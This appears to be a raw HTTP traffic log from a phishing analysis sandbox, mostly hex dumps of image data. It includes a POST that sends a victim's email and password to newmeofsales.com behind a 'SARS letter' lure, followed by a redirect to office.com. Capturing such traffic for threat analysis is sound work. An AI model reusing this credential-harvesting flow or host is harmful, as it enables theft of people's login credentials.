6b 41 41 4c 65 46 41 Data Ascii: AAAAAAAAAAAAAJZGVzYwAAAPAAAAAkclhZWgAAARQAAAAUZ1hZWgAAASgAAAAUYlhZWgAAATwAAAAUd3RwdAAAAVAAAAAUclRSQwAAAWQAAAAoZ1RSQwAAAWQAAAAoYlRSQwAAAWQAAAAoY3BydAAAAYwAAAA8bWx1YwAAAAAAAAABAAAADGVuVVMAAAAIAAAAHABzAFIARwBCWFlaIAAAAAAAAG+iAAA49QAAA5BYWVogAAAAAAAAYpkAALeFA
2025-04-01 10:10:55 UTC	16384	IN	Data Raw: 76 49 33 31 42 5a 6d 55 6e 6e 64 58 32 44 2b 7a 56 2b 77 5a 70 76 77 36 53 47 61 57 32 51 79 4c 67 6b 6c 61 2b 6f 4e 50 38 41 43 64 6a 70 6f 2f 64 32 38 61 2f 68 57 68 47 69 6f 6d 46 47 30 65 31 65 5a 6a 4d 39 72 31 6c 79 70 32 52 36 65 44 79 47 6a 52 66 4d 31 64 6c 48 51 64 41 67 30 43 79 57 47 46 46 55 4b 4d 63 43 74 41 48 49 6f 49 7a 51 4f 6e 46 65 49 35 4e 36 73 39 79 4d 56 46 57 51 55 55 55 55 69 67 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 72 35 70 2f 34 4b 42 58 45 73 58 77 2f 75 76 4c 7a 75 32 48 47 50 70 58 30 74 58 6c 2f 37 52 58 77 76 50 78 45 30 43 53 33 43 37 74 77 78 51 42 2b 4c 76 68 2f 77 42 72 48 69 54 78 76 65 53 62 5a 57 58 65 54 2b 74 Data Ascii: vI31BZmUnndX2D+zV+wZpvw6SGaW2QyLgkla+oNP8ACdjpo/d28a/hWhGiomFG0e1eZjM9r1lyp2R6eDyGjRfM1dlHQdAg0CyWGFFUKMcCtAHIoIzQOnFeI5N6s9yMVFWQUUUUigooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAr5p/4KBXEsXw/uvLzu2HGPpX0tXl/7RXwvPxE0CS3C7twxQB+Lvh/wBrHiTxveSbZWXeT+t
2025-04-01 10:10:55 UTC	1514	IN	Data Raw: 47 6b 45 66 58 72 51 42 39 6e 7a 61 6e 42 41 50 6d 6b 55 66 6a 54 46 31 79 31 63 63 54 4a 2b 64 66 6e 2f 77 44 45 48 2f 67 6f 4b 31 6f 33 6b 78 7a 34 6b 7a 6a 68 71 74 2f 44 72 39 72 44 55 2f 46 4e 71 5a 45 6c 6b 62 6a 50 57 67 44 37 30 62 58 37 52 54 2f 72 6b 2f 4f 6a 2b 33 72 58 2f 6e 73 6e 35 31 2b 65 66 6a 62 39 72 66 58 64 48 31 64 59 51 38 6e 7a 48 48 57 75 6a 73 2f 32 69 74 65 6b 38 4f 66 61 6d 61 54 41 58 50 57 67 44 37 71 58 58 4c 56 7a 78 4d 6e 35 30 4e 72 6c 71 68 35 6d 54 38 36 2f 4f 4b 44 39 75 48 57 4c 50 55 6e 6a 5a 33 77 70 39 61 59 2f 37 65 6c 39 64 61 71 6b 48 6e 4d 43 54 6a 72 51 42 2b 6b 49 31 6d 32 49 2f 77 42 63 76 35 30 4a 72 64 72 49 2b 30 54 4a 6e 36 31 38 45 61 76 2b 32 70 65 61 52 6f 76 6d 4e 4d 32 63 64 63 31 44 38 4a 66 32 79 Data Ascii: GkEfXrQB9nzanBAPmkUfjTF1y1ccTJ+dfn/wDEH/goK1o3kxz4kzjhqt/Dr9rDU/FNqZElkbjPWgD70bX7RT/rk/Oj+3rX/nsn51+efjb9rfXdH1dYQ8nzHHWujs/2itek8OfamaTAXPWgD7qXXLVzxMn50Nrlqh5mT86/OKD9uHWLPUnjZ3wp9aY/7el9daqkHnMCTjrQB+kI1m2I/wBcv50JrdrI+0TJn618Eav+2peaRovmNM2cdc1D8Jf2y
2025-04-01 10:10:55 UTC	534	IN	Data Raw: 76 48 48 74 32 2b 31 65 30 57 63 50 32 61 32 56 50 37 6f 71 51 49 42 32 70 61 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 52 75 68 72 35 2b 2f 61 77 38 41 33 48 69 66 54 4a 6c 6a 52 6d 79 4f 31 66 51 56 55 64 57 38 50 32 2b 72 78 46 5a 56 44 5a 39 61 41 50 7a 44 75 2f 32 66 4e 62 6b 31 4f 52 59 34 5a 64 72 48 30 4e 46 74 2b 78 74 72 52 75 46 75 47 6a 6c 7a 6e 50 53 76 30 6a 68 2b 46 4f 6c 78 54 62 2f 41 43 49 38 2f 77 43 37 57 67 50 42 57 6e 68 4e 76 6b 4a 2f 33 7a 51 42 2b 65 6c 74 2b 78 78 71 57 72 57 6e 37 36 4f 54 67 65 6c 63 76 72 6e 37 49 2b 70 61 4e 63 66 4c 44 4a 77 66 53 76 30 33 68 38 4a 32 63 43 34 57 4a 66 79 71 68 71 50 77 31 30 37 55 54 6c 6f 55 2f 4b 67 Data Ascii: vHHt2+1e0WcP2a2VP7oqQIB2paACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooARuhr5+/aw8A3HifTJljRmyO1fQVUdW8P2+rxFZVDZ9aAPzDu/2fNbk1ORY4ZdrH0NFt+xtrRuFuGjlznPSv0jh+FOlxTb/ACI8/wC7WgPBWnhNvkJ/3zQB+elt+xxqWrWn76OTgelcvrn7I+paNcfLDJwfSv03h8J2cC4WJfyqhqPw107UTloU/Kg
2025-04-01 10:10:55 UTC	8949	IN	Data Raw: 70 64 65 41 39 50 75 35 64 37 51 52 6c 76 55 72 51 42 2b 57 32 73 66 73 6c 2b 4b 50 37 4d 58 61 4c 6a 64 6a 6e 72 54 64 42 2f 5a 4b 38 55 4c 59 4e 76 46 78 75 78 33 7a 58 36 6c 53 65 41 4e 4e 6b 6a 32 6d 33 6a 78 2f 75 30 52 2f 44 37 54 59 31 77 4c 65 50 38 71 41 50 7a 43 2b 48 2f 41 4f 7a 4c 34 70 30 58 78 55 73 6b 67 6e 32 68 73 39 36 39 52 2b 4b 66 77 72 31 32 2b 38 4c 72 45 69 7a 62 74 75 50 70 58 33 55 76 77 36 30 31 4a 4e 77 74 34 73 2f 37 74 4e 76 66 68 78 70 39 39 48 74 61 46 4d 66 53 67 44 38 6d 5a 76 67 54 34 72 69 76 75 46 75 4e 75 37 33 72 30 7a 34 65 66 41 50 78 44 63 36 64 74 6d 57 62 33 7a 6d 76 30 4a 6b 2b 43 75 6a 75 32 66 73 38 66 2f 66 4e 58 62 44 34 59 36 62 59 4a 74 57 47 4d 66 68 51 42 2b 64 4e 6c 38 42 39 66 30 54 78 53 73 69 72 4e Data Ascii: pdeA9Pu5d7QRlvUrQB+W2sfsl+KP7MXaLjdjnrTdB/ZK8ULYNvFxux3zX6lSeANNkj2m3jx/u0R/D7TY1wLeP8qAPzC+H/AOzL4p0XxUskgn2hs969R+Kfwr12+8LrEizbtuPpX3Uvw601JNwt4s/7tNvfhxp99HtaFMfSgD8mZvgT4rivuFuNu73r0z4efAPxDc6dtmWb3zmv0Jk+Cuju2fs8f/fNXbD4Y6bYJtWGMfhQB+dNl8B9f0TxSsirN
2025-04-01 10:10:55 UTC	8459	IN	Data Raw: 7a 75 35 76 43 36 33 52 6b 62 7a 74 75 65 74 63 6e 65 2f 48 37 58 72 66 54 58 68 56 70 74 6f 42 48 65 76 6f 7a 56 50 32 54 37 75 47 56 62 64 59 32 38 72 70 6a 46 62 6b 48 37 45 74 74 50 6f 58 7a 57 34 38 77 72 36 55 41 66 6e 7a 34 6e 2b 4a 65 72 36 31 71 42 33 79 79 38 74 36 6d 76 64 50 32 56 35 37 69 50 2f 53 4a 70 47 2b 58 6e 6b 39 4b 37 54 78 62 2b 77 64 63 51 36 6b 30 6b 64 76 38 75 63 38 43 75 71 2b 48 6e 37 4f 4e 39 34 62 73 76 4c 57 46 67 65 6e 53 67 44 79 48 39 71 7a 34 73 58 36 79 52 78 57 73 6a 2f 4c 78 38 70 72 6f 2f 77 42 6d 7a 78 50 63 65 4b 2f 42 72 32 39 31 49 32 2f 62 6a 6b 31 36 6d 2f 37 46 30 33 6a 53 5a 70 4c 71 48 50 66 6b 56 76 65 43 50 32 53 70 2f 42 4d 37 4a 44 47 51 76 73 4b 41 50 6d 76 56 66 68 56 4e 4a 34 32 6c 5a 5a 47 78 6b 6d Data Ascii: zu5vC63Rkbztuetcne/H7XrfTXhVptoBHevozVP2T7uGVbdY28rpjFbkH7EttPoXzW48wr6UAfnz4n+Jer61qB3yy8t6mvdP2V57iP/SJpG+Xnk9K7Txb+wdcQ6k0kdv8uc8Cuq+Hn7ON94bsvLWFgenSgDyH9qz4sX6yRxWsj/Lx8pro/wBmzxPceK/Br291I2/bjk16m/7F03jSZpLqHPfkVveCP2Sp/BM7JDGQvsKAPmvVfhVNJ42lZZGxkm
2025-04-01 10:10:55 UTC	16384	IN	Data Raw: 4f 6f 76 48 62 74 4d 46 58 67 59 4e 41 48 36 50 61 6c 34 39 30 47 37 68 32 4e 4a 43 66 78 71 6e 70 32 76 65 48 62 4f 34 33 49 30 4f 35 6a 37 56 2b 59 39 31 2b 30 39 34 6b 43 62 6c 6b 6e 36 65 70 71 62 77 39 2b 30 37 34 6b 76 74 54 68 55 79 54 34 4a 48 72 51 42 2b 6e 66 69 2f 78 72 70 4f 6d 61 49 30 2f 37 76 62 6a 6b 31 35 52 62 66 48 54 77 36 2b 72 4e 38 38 4f 35 54 37 56 35 66 61 65 4a 39 57 38 58 2f 44 50 35 6d 6b 4c 74 48 58 79 6c 34 32 6c 38 53 2b 48 50 45 38 7a 72 39 6f 32 62 2f 65 67 44 39 54 50 42 48 78 49 30 6e 58 72 64 51 6a 52 6b 59 39 71 32 37 37 34 6a 36 54 6f 77 2b 61 53 4e 66 78 46 66 6e 72 38 43 2f 6a 62 71 32 6d 57 61 72 4d 30 6d 37 62 33 72 56 2b 49 50 78 54 31 37 57 6b 33 57 37 54 59 39 73 30 41 66 61 76 69 44 39 6f 58 52 64 4e 68 33 66 Data Ascii: OovHbtMFXgYNAH6Pal490G7h2NJCfxqnp2veHbO43I0O5j7V+Y91+094kCblkn6epqbw9+074kvtThUyT4JHrQB+nfi/xrpOmaI0/7vbjk15RbfHTw6+rN88O5T7V5faeJ9W8X/DP5mkLtHXyl42l8S+HPE8zr9o2b/egD9TPBHxI0nXrdQjRkY9q2774j6Tow+aSNfxFfnr8C/jbq2mWarM0m7b3rV+IPxT17Wk3W7TY9s0AfaviD9oXRdNh3f
2025-04-01 10:10:55 UTC	8949	IN	Data Raw: 77 68 59 2f 47 33 57 50 43 58 69 47 62 7a 5a 4a 52 48 76 50 55 31 32 6e 68 37 39 72 61 34 74 46 61 52 62 67 37 6c 50 39 36 76 52 2f 69 50 2b 78 64 4c 71 39 6e 4c 4a 46 44 74 6b 62 4a 36 56 34 6a 71 48 37 48 47 75 61 54 4a 4e 74 68 6c 5a 53 65 4f 4b 41 50 51 74 44 2f 62 76 76 42 65 2b 57 30 35 39 4f 74 53 61 2f 38 41 74 66 61 78 71 45 6d 36 47 53 51 71 66 65 76 4a 39 45 2f 5a 4f 31 77 61 79 70 4d 45 32 4e 33 6f 61 39 37 2b 48 2f 37 4a 6c 77 2b 6e 4a 35 38 44 46 73 65 6c 41 47 46 6f 2f 77 43 32 4a 71 75 69 77 2b 5a 63 53 53 62 66 63 6d 73 6d 37 2f 34 4b 44 58 55 2b 73 72 47 6b 7a 64 63 66 65 72 75 66 69 44 2b 78 2f 50 65 36 55 79 77 77 4d 72 59 37 43 76 41 70 66 32 4c 64 59 74 50 45 79 74 35 45 6d 33 66 36 55 41 66 5a 33 77 45 2b 50 6c 31 34 2b 68 68 59 79 Data Ascii: whY/G3WPCXiGbzZJRHvPU12nh79ra4tFaRbg7lP96vR/iP+xdLq9nLJFDtkbJ6V4jqH7HGuaTJNthlZSeOKAPQtD/bvvBe+W059OtSa/8AtfaxqEm6GSQqfevJ9E/ZO1waypME2N3oa97+H/7Jlw+nJ58DFselAGFo/wC2Jquiw+ZcSSbfcmsm7/4KDXU+srGkzdcferufiD+x/Pe6UywwMrY7CvApf2LdYtPEyt5Em3f6UAfZ3wE+Pl14+hhYy

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:25 UTC	793	OUT	POST /client3.php HTTP/1.1 Host: newmeofsales.com Connection: keep-alive Content-Length: 71 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Origin: null Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:25 UTC	71	OUT	Data Raw: 6e 61 6d 65 3d 38 61 78 38 38 70 25 34 30 76 68 69 61 6b 6a 2e 6e 65 74 26 6e 65 77 79 65 61 72 3d 43 69 69 4b 76 4b 25 35 45 32 33 6d 51 26 62 75 74 74 6f 6e 32 3d 56 49 45 57 2b 53 41 52 53 2b 4c 45 54 54 45 52 Data Ascii: name=8ax88p%40vhiakj.net&newyear=CiiKvK%5E23mQ&button2=VIEW+SARS+LETTER
2025-04-01 10:11:26 UTC	586	IN	HTTP/1.1 302 Found Connection: close x-powered-by: PHP/8.3.19 location: https://newmeofsales.com/others.htm content-type: text/html; charset=UTF-8 content-length: 0 date: Tue, 01 Apr 2025 10:11:26 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:26 UTC	708	OUT	GET /others.htm HTTP/1.1 Host: newmeofsales.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:27 UTC	575	IN	HTTP/1.1 200 OK Connection: close content-type: text/html last-modified: Mon, 24 Mar 2025 18:40:36 GMT etag: "067e1a724-0;;;" accept-ranges: bytes content-length: 267 date: Tue, 01 Apr 2025 10:11:27 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff cache-control: max-age=1333600, must-revalidate alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-04-01 10:11:27 UTC	267	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 52 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 55 52 4c 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 2f 3f 61 75 74 68 3d 32 26 68 6f 6d 65 3d 31 22 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6e 65 77 6d 65 6f 66 73 61 6c 65 73 2e 63 6f 6d 2f 72 65 67 69 73 74 65 72 2e 6a 70 67 22 20 77 69 64 74 68 3d 22 35 39 30 22 20 68 65 69 67 68 74 3d 22 36 35 33 22 3e 3c 2f Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><meta http-equiv="Refresh" content="0; URL=https://www.office.com/?auth=2&home=1"</head><body><img src="https://newmeofsales.com/register.jpg" width="590" height="653"></

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:27 UTC	606	OUT	GET /register.jpg HTTP/1.1 Host: newmeofsales.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://newmeofsales.com/others.htm Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:28 UTC	610	IN	HTTP/1.1 200 OK Connection: close cache-control: max-age=1333600, public expires: Tue, 08 Apr 2025 10:11:28 GMT content-type: image/jpeg last-modified: Mon, 24 Mar 2025 17:13:04 GMT etag: "067e192a0-0;;;" accept-ranges: bytes content-length: 177824 date: Tue, 01 Apr 2025 10:11:28 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-04-01 10:11:28 UTC	758	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 56 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00 01 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e2 01 d8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF,,VExifMM*>F(,,JFIF,,ICC_PROFILE0mntrRGB XYZ acsp-
2025-04-01 10:11:28 UTC	14994	IN	Data Raw: c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 Data Ascii: }!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-04-01 10:11:28 UTC	16384	IN	Data Raw: 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 13 81 5f 32 fe de ff 00 11 ae fc 13 e0 fb 89 2d d9 95 95 4e 30 6b e9 aa f9 f7 f6 d2 f8 68 be 3c f0 b4 f1 6e 5c b2 9e b4 25 70 6e c7 e6 ef c3 3f da cf 58 6f 1b 48 d2 dc cb b5 1f b9 35 ef fa 67 fc 14 1e e7 45 09 0b 48 df 28 19 39 af 21 b0 fd 92 c6 91 e2 29 5b 72 ae e7 ae a5 7f 64 b8 2f 51 99 a6 5d c4 7a d6 9e ce 7d 8c fd ac 3b 9e 83 ab 7f c1 4a 7c 84 5f df 11 c7 3f 35 6f f8 1f fe 0a 31 0e a3 08 f3 2e 3b f7 6a f9 6f e2 cf ec bb 26 92 85 e1 9b a0 ec 6b 9d f0 07 c1 5b c9 5c 20 98 8c 37 ad 1e ce 7d 83 db 43 b9 f5 ef 8e bf 6e a1 7b 2b 79 13 e7 1e 86 b9 ad 53 f6 e6 be 8f 4f db 1c 8f 9c 7a d7 9c f8 63 f6 6a 9a f8 96 9a 6f bd 8e a6 bb 9d 3b f6 57 b3 92 df f7 92 ae 76 e3 ad 1e ce 7d 85 ed a1 dc e7 63 ff 00 82 90 dc 78 Data Ascii: QEQEQEQE_2-N0kh<n\%pn?XoH5gEH(9!)[rd/Q]z};J\|_?5o1.;jo&k[\ 7}Cn{+ySOzcjo;Wv}cx
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: 64 c1 ff 00 32 3f 40 fc c1 fd e1 47 98 3f bc 2b f3 f3 fe 1e d5 a4 7f cf e4 7f f7 d0 a3 fe 1e d5 a4 7f cf e4 7f f7 d0 a3 fb 03 19 fc a1 fe b2 60 ff 00 99 1f a0 7e 60 fe f0 a3 cc 1f de 15 f9 f9 ff 00 0f 6a d2 3f e7 f2 3f fb e8 51 ff 00 0f 6a d2 3f e7 f2 3f fb e8 51 fe af e3 3f 94 3f d6 4c 1f f3 23 f4 0f cc 1f de 14 79 83 fb c2 bf 3f 3f e1 ed 5a 47 fc fe 47 ff 00 7d 0a 3f e1 ed 5a 47 fc fe 47 ff 00 7d 0a 3f b0 31 9f ca 1f eb 26 0f f9 91 fa 07 e6 0f ef 0a 3c c1 fd e1 5f 9f 9f f0 f6 ad 23 fe 7f 23 ff 00 be 85 1f f0 f6 ad 23 fe 7f 23 ff 00 be 85 1f d8 18 cf e5 0f f5 93 07 fc c8 fd 03 f3 07 f7 85 1e 60 fe f0 af cf cf f8 7b 56 91 ff 00 3f 91 ff 00 df 42 8f f8 7b 56 91 ff 00 3f 91 ff 00 df 42 8f ec 0c 67 f2 87 fa c9 83 fe 64 7e 81 f9 83 fb c2 8f 30 7f 78 57 e7 e7 Data Ascii: d2?@G?+`~`j??Qj??Q??L#y??ZGG}?ZGG}?1&<_####`{V?B{V?Bgd~0xW
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: f8 f5 ff 00 05 95 f0 1f ec f1 fb 7d 78 7f e0 16 bb e1 ff 00 10 0d 5b c4 0f 65 1c 7a d2 3c 22 c2 dd ae 98 ac 7b c1 6d ff 00 78 60 e0 77 a5 3a 91 82 bc 98 f2 fc af 15 8e 9c a9 e1 20 e6 e3 17 26 97 65 bb f9 1f 60 d1 4d 79 16 38 d9 99 82 aa 8c 92 7a 01 5f 2a 7e c5 5f f0 56 bf 05 7e dc bf b4 f7 c4 2f 86 5e 17 d0 75 db 5b 8f 87 e9 34 92 ea 97 4d 11 b4 d4 56 3b 91 6e 5a 2d ac 5b 05 8e 41 20 70 29 ca a4 53 49 f5 16 17 2d c4 e2 28 d4 af 46 0d c6 9a 4e 4f b2 6e ca ff 00 33 ea da 2b c3 ff 00 65 1f db 9f 43 fd ac be 27 fc 54 f0 be 93 a2 ea da 5d d7 c2 9d 75 b4 1b e9 ae da 33 1d ec 83 3f 3c 5b 49 21 78 fe 2c 1a e1 ff 00 6a 1f f8 2b 6f 80 3f 67 9f 8a 92 7c 3f d1 74 3f 18 7c 52 f8 81 6e 81 ee 74 1f 08 58 7d ba 6b 10 7f e7 bb e4 2c 67 a7 07 91 91 9c 54 fb 68 28 f3 37 a1 Data Ascii: }x[ez<"{mx`w: &e`My8z_*~_V~/^u[4MV;nZ-[A p)SI-(FNOn3+eC'T]u3?<[I!x,j+o?g\|?t?\|RntX}k,gTh(7
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: f8 43 f1 07 50 f0 1f 86 16 ee ee 66 f9 57 27 26 bb 9f da 1f e1 ac da bf 8a 44 91 c2 59 43 7a 57 99 7c 68 f0 a6 a1 61 e0 57 86 18 dd 5b 66 38 14 01 de 68 bf b7 45 bb de 79 6d 37 dd 3e b5 a7 79 fb 76 58 db fc be 7a ee fa d7 c1 1a 57 84 b5 d5 d7 24 f9 26 f9 9b d0 d6 95 f7 c2 ef 10 bc 86 72 b3 ec eb d0 d0 07 d9 17 df b7 60 37 9f bb 93 e5 cf ad 6b 1f db 92 da 0d 37 73 cc 37 63 d6 be 1d b5 b4 be 86 eb c9 75 90 b8 e3 a5 43 e2 af 0a eb f3 42 5a 24 9b 69 f4 06 80 3e d8 d1 ff 00 6f 7b 5b 9b ef 2f ce 1d 7f bd 5d 63 fe db 1a 7c 76 41 cc eb bb 1e b5 f9 c5 e1 df 05 eb 96 f7 0d 24 8b 30 db f5 ad cd 13 43 d7 35 fb ef b3 c7 e7 1e 71 40 1f 65 f8 8f fe 0a 1b 63 61 7c c8 27 5e be b5 26 8f ff 00 05 04 b4 d5 e6 8e 18 e6 0c ce 71 8c d7 c2 de 3c f8 1f e2 28 b5 10 db 67 f9 bd 8d Data Ascii: CPfW'&DYCzW\|haW[f8hEym7>yvXzW$&r`7k7s7cuCBZ$i>o{[/]c\|vA$0C5q@eca\|'^&q<(g
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: d5 da d6 bc cc b1 c9 26 de 99 06 be 8b fd b1 7c 0b 3f 8b ed d6 24 8d 99 8f a0 af 3c f8 57 fb 1b 49 7d a3 34 8f 0b 6e 6e 79 5a 00 f2 9b ef da 03 58 d2 e0 f3 96 69 77 75 ea 6b b0 f8 4d fb 5b 6a 17 ae a9 71 34 99 ce 39 35 d7 dc 7e c4 b7 57 d7 0d 1b 44 db 73 e9 50 58 fe c3 b7 7a 36 a4 ad 14 6d 8c fa 50 07 ba 78 13 e2 24 de 2b f0 ac 8c 59 9b 72 d7 cb 7f 1e a7 d5 b4 cf 16 cd 34 0d 20 0a c4 f1 5f 62 7c 1f f8 33 27 87 7c 3c b0 c8 bc ed c7 35 89 f1 03 f6 6b 5f 11 4d 33 79 61 b7 67 b5 00 7c 39 aa 7e d4 5a be 87 61 f6 76 9a 50 ca 31 d6 a8 f8 47 f6 ac d6 9b 50 2c 26 98 ae 7d 4d 7b a7 c4 3f d8 16 7d 46 ed 9a 38 8f cc 73 d2 a9 f8 1f f6 04 9e ca 53 e6 43 d7 fd 9a 00 e1 ef bf 6c 3d 69 ac 42 2c 92 ee c7 bd 79 ed ef ed 69 af 3f 88 d5 5a 69 86 5f d4 d7 d5 9a 6f ec 0b 19 62 Data Ascii: &\|?$<WI}4nnyZXiwukM[jq495~WDsPXz6mPx$+Yr4 _b\|3'\|<5k_M3yag\|9~ZavP1GP,&}M{?}F8sSCl=iB,yi?Zi_ob
